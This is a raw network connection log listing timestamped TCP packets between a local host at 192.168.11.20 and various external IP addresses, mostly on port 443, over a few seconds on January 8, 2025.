Jan 8, 2025 16:18:53.182836056 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.245373011 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.245392084 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.245471001 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:53.245475054 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:53.246085882 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:53.247059107 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:53.247071028 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:53.293112993 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.293126106 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.293311119 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.293462038 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.293467999 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.311997890 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:53.312047005 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:53.312216043 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:53.324672937 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:53.324685097 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:53.330288887 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:53.330297947 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:53.386342049 CET	56386	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:53.453687906 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.454206944 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.454215050 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.454479933 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.455156088 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.455208063 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.455524921 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.498207092 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.590536118 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.590840101 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.590848923 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.591106892 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.591533899 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.591586113 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.591770887 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.634206057 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.634469032 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.775475979 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.775532007 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.775703907 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.776300907 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.776309967 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.776747942 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.776763916 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.776900053 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.777066946 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.777074099 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.836498976 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.836513042 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.836915016 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.837055922 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.837064981 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.914647102 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.914726019 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:53.914906979 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.915540934 CET	50829	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:53.915548086 CET	443	50829	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:54.048764944 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.049247026 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.049256086 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.049578905 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.050384998 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.050462961 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.050471067 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.050481081 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.107234955 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.107605934 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.107615948 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.107924938 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.108160973 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.108303070 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.108385086 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.108414888 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.148040056 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.148050070 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.363359928 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.363404989 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.363571882 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.364312887 CET	65289	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.364325047 CET	443	65289	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.364664078 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.364681959 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.364849091 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.365020990 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.365030050 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.377403975 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:54.398426056 CET	56386	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:54.429847002 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.429886103 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.430067062 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.430913925 CET	51712	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.430924892 CET	443	51712	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.432121992 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.432137966 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.432279110 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.432399988 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.432409048 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.635082960 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.635447025 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.635456085 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.635792971 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.636236906 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.636300087 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.636384964 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.678205967 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.690588951 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.702569008 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.702970982 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.702980995 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.703263998 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.703669071 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.703758001 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.703810930 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.746206045 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.753420115 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.948110104 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.948163986 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.948431015 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.949383974 CET	58283	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:54.949395895 CET	443	58283	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:54.949743986 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:54.949764013 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:54.949950933 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:54.950135946 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:54.950145006 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.038603067 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.038636923 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.038873911 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.039664984 CET	57071	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.039674997 CET	443	57071	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.039944887 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.039959908 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.040106058 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.040255070 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.040261030 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.221218109 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.221642017 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.221649885 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.221939087 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.222484112 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.222569942 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.222572088 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.266211033 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.267080069 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.310961962 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.311254978 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.311268091 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.311595917 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.311934948 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.311995983 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.311999083 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.312014103 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.359869003 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.502336979 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.502350092 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.502846003 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.502846003 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.502860069 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.506139040 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.506149054 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.506282091 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.506377935 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.506383896 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.535700083 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.535734892 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.535880089 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.536303043 CET	53846	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.536310911 CET	443	53846	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.536616087 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.536629915 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.536964893 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.537115097 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.537123919 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.626657963 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.626702070 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.626902103 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.629997969 CET	60105	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.630011082 CET	443	60105	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.630446911 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.630465031 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.630609035 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.630836964 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.630841970 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.778788090 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.778806925 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.778985023 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.779131889 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.779139996 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.806452036 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.806765079 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.806775093 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.807061911 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.807454109 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.807512999 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.807517052 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.807540894 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:55.852519989 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:55.865159988 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.865494967 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.865505934 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.865778923 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.866168976 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.866226912 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.866250038 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.869019985 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.869260073 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.869266033 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.869651079 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.870012999 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.870088100 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.870126009 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.907741070 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.908041954 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.908051014 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.908329964 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.908757925 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.908828020 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:55.908830881 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.908843040 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:55.910206079 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.910207987 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:55.914336920 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.914338112 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:55.961419106 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:56.129277945 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.129323959 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.129394054 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.129451036 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.129486084 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.129681110 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.130104065 CET	50726	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.130112886 CET	443	50726	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.130274057 CET	62026	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.130285025 CET	443	62026	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.131071091 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.131110907 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.131238937 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.132070065 CET	63867	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.132078886 CET	443	63867	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.141102076 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.141395092 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.141405106 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.142124891 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.142410040 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.142663002 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.142740011 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.142796993 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.186208010 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.192667961 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.192679882 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.239447117 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.247200012 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:56.247237921 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:56.247545004 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:56.248079062 CET	49955	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:56.248089075 CET	443	49955	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:56.248384953 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.248405933 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.248591900 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.248795033 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.248805046 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.404011965 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.404058933 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.404155970 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.404572964 CET	57462	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:56.404582024 CET	443	57462	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:56.411037922 CET	56386	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:56.489859104 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:56.518784046 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.519104004 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.519115925 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.519407034 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.519846916 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.519906044 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.519915104 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.519937038 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.566601992 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.609304905 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:56.829711914 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.829756021 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.830044031 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.830646038 CET	57090	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.830660105 CET	443	57090	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.830972910 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.830992937 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.831145048 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.831335068 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:56.831343889 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:56.844196081 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:56.844208002 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:56.844477892 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:56.844544888 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:56.844549894 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:56.864541054 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864557981 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:56.864588976 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864594936 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:56.864691973 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864691973 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864839077 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864845991 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:56.864885092 CET	62732	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:56.864892006 CET	443	62732	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.101686001 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.102027893 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.102042913 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.102447987 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.102967024 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.103038073 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.103101969 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.146225929 CET	443	60546	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:57.146332979 CET	60546	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:57.206705093 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.207093000 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.207101107 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.207804918 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.208013058 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.209252119 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.209319115 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.209348917 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.223570108 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.223584890 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.223741055 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.223927021 CET	53542	443	192.168.11.20	162.159.61.3
Jan 8, 2025 16:18:57.223932028 CET	443	53542	162.159.61.3	192.168.11.20
Jan 8, 2025 16:18:57.250253916 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.253810883 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.253818989 CET	443	64358	23.62.140.168	192.168.11.20
Jan 8, 2025 16:18:57.303599119 CET	64358	443	192.168.11.20	23.62.140.168
Jan 8, 2025 16:18:57.390520096 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.390832901 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.390842915 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.391124010 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.391530037 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.391618013 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.391621113 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.391670942 CET	49981	443	192.168.11.20	20.189.173.24
Jan 8, 2025 16:18:57.391684055 CET	443	49981	20.189.173.24	192.168.11.20
Jan 8, 2025 16:18:57.391720057 CET	49981	443	192.168.11.20	20.189.173.24
